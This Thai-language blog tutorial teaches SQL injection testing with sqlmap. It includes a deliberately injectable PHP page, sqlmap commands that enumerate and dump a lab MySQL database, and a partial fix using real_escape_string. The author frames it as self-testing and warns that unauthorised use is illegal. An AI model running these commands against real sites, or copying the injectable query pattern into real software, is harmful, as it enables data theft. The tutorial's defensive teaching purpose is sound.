ทดสอบความปลอดภัยเว็บไซต์ด้วย sqlmap

SQL MAP

 

 

เชื่อว่า โปรแกรมเมอร์ หลายๆคนอาจจะยังไม่รู้จัก sqlmap เดียวผมจะมาอธิบายตามความเข้าใจของผมละกัน ก็ไม่ได้เก่งด้านนี้นะครับ แต่อยากแชร์ความรู้ให้กับทุกท่าน เป็นแนวทางไปศึกษาต่อได้เลย

คำเตือน : การนำ tools ต่างๆไปทดสอบกับระบบหรือเว็บที่เราไม่ได้รับอนุญาติ มีความผิดตาม พรบ. คอมพิวเตอร์ มีโทษทั้งจำและปรับ ผมเขียนบทความนี้เพื่อให้ developer, admin ได้นำความรู้ไปทดสอบเว็บของตัวเองว่ามีช่องโหว่หรือไม่

sqlmap เป็นเครื่องมือทดสอบการทำ sql injection มันก็สามารถแฮกเข้าไปในฐานข้อมูลได้ โดยที่เราเองไม่ได้ไปนั่งพิมพ์คำสั่งอะไรมากมายเลย มันจะช่วยเราลดเวลาการทดสอบความปลอดภัยเว็บไซต์ sqlmap เขียนด้วยภาษา python เพราะฉะนั้น เราสามารถทดสอบบน Windows หรือ Linux ก็ได้นะครับ แต่รอบนี้ผมจะมาทำบน Kali Linux

ก่อนอื่นเลยเราก็ต้องไป (แต่ใน Kali Linux มันมีให้หมดแล้ว)

git clone https://github.com/sqlmapproject/sqlmap.git  

 

ถ้าเรามี sqlmap อยู่แล้ว ก็ให้ Update ด้วยคำสั่ง

sqlmap --update

เตรียมเว็บสำหรับทดสอบ :

ทีนี้เครื่องมือเราก็พร้อมละ เรามาทำ server จำลองกัน ผมจะเขียน เว็บขึ้นมา ด้วยภาษา PHP นะครับ

ไฟล์ config.php

<?php
$con = new mysqli('localhost','root','','devexp');
if ($con->connect_error) {
  die('เชื่อมต่อไม่ได้ '.$con->connect_error);
}
 ?>

ไฟล์ index.php

<?php
include 'config.php';
$member_id = $_GET['id'];
$sql = "select * from member where id = '$member_id'";
$result = $con->query($sql);
$row = $result->fetch_assoc();
echo "เลขที่ : ".$row['id']."<br>";
echo "ชื่อ : ".$row['name']."<br>";
echo "เงิน : ".$row['point']."<br>";
 ?>

ฐานข้อมูล

CREATE TABLE `member` (
  `id` int(11) NOT NULL,
  `name` varchar(100) NOT NULL,
  `point` int(11) NOT NULL DEFAULT '0'
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

INSERT INTO `member` (`id`, `name`, `point`) VALUES
(1, 'admin', 1001),
(2, 'ktoindy', 0),
(3, 'thehacker', 0);

ALTER TABLE `member`
  ADD PRIMARY KEY (`id`);

ตัวเว็บจะให้รับค่า ID ผ่าน method get http://192.168.43.38/Security/index.php?id=1 ลองเข้ามาดูก็จะได้หน้าตาแบบนี้

http://192.168.43.38/Security/index.php?id=1 ถ้าเราเปลียน เลขมันก็จะโชว์ข้อมูลใหม่ตาม ฐานข้อมูลเรา ถ้าเราใส่เครื่องหมาย  ต่อท้ายเลข 1 มันก็จะ Error

ที่มัน Error เพราะว่า คำสั่ง SQL มันผิด ซึ่งปกติคำสั่งจะเป็นแบบนี้

select * from member where id = '1'

แต่เราไปใส่ เพิ่มเข้าไปมันเลย Error

เรามาลองทำใน SQLMAP ดู ใช้คำสั่ง

sqlmap -u http://192.168.43.38/Security/index.php?id=1 --dbs

ให้ตอบ Y มันทดสอบแล้วว่า database ที่ใช้ เป็น MySQL

ตอบ Y อีกทีเพื่อทดสอบ

ตอบ N

ก็จะได้ชื่อ ฐานข้อมูลทั้งหมดที่มีมา ต่อไปเราจะเข้าไปดู ฐานข้อมูล devexp ว่ามีอะไรบ้าง

sqlmap -u http://192.168.43.38/Security/index.php?id=1 -D devexp --table

ก็จะได้ชื่อ ตาราง ทั้งหมดมา ทีนี้เราจะเข้าไปดูในตาราง member

sqlmap -u http://192.168.43.38/Security/index.php?id=1 -D devexp -T member --columns

ทีนี้เราก็มาจะมาดูข้อมูลกัน

sqlmap -u http://192.168.43.38/Security/index.php?id=1 -D devexp -T member -C id,name,point --dump

เสร็จแล้วง่ายๆไม่ยากเลยใช่ไหมละ เมือเราทดสอบแล้วมันมีช่องโหว่แบบนี้เราก็ต้องมาปิดช่องโหว่นี้กันนะครับ ไปแก้โค้ดที่ไฟล์ index.php บรรทัดที่ 3 แก้เป็น

$member_id = $con->real_escape_string($_GET['id']); 

real_escape_string() เป็นฟังก์ชันสำหรับเลี่ยงการใช้ตัวอักขระพิเศษในคำสั่ง sql เช่น เครื่องหมาย เครื่องหมาย เป็นต้น

ก่อนที่จะทดสอบใหม่เราต้องไปลบไฟล์ที่ sqlmap มันสร้างไว้ก่อน 

rm -rf /root/.sqlmap/output/192.168.43.38/

จากนั้นเราก็ทดสอบใหม่

แค่นี้ก็ปลอดภัยในระดับหนึ่งละ

คำเตือน : การนำ tools ต่างๆไปทดสอบกับระบบหรือเว็บที่เราไม่ได้รับอนุญาติ มีความผิดตาม พรบ. คอมพิวเตอร์ มีโทษทั้งจำและปรับ ผมเขียนบทความนี้เพื่อให้ developer, admin ได้นำความรู้ไปทดสอบเว็บของตัวเองว่ามีช่องโหว่หรือไม่

 

Facebook Comments

Leave a Comment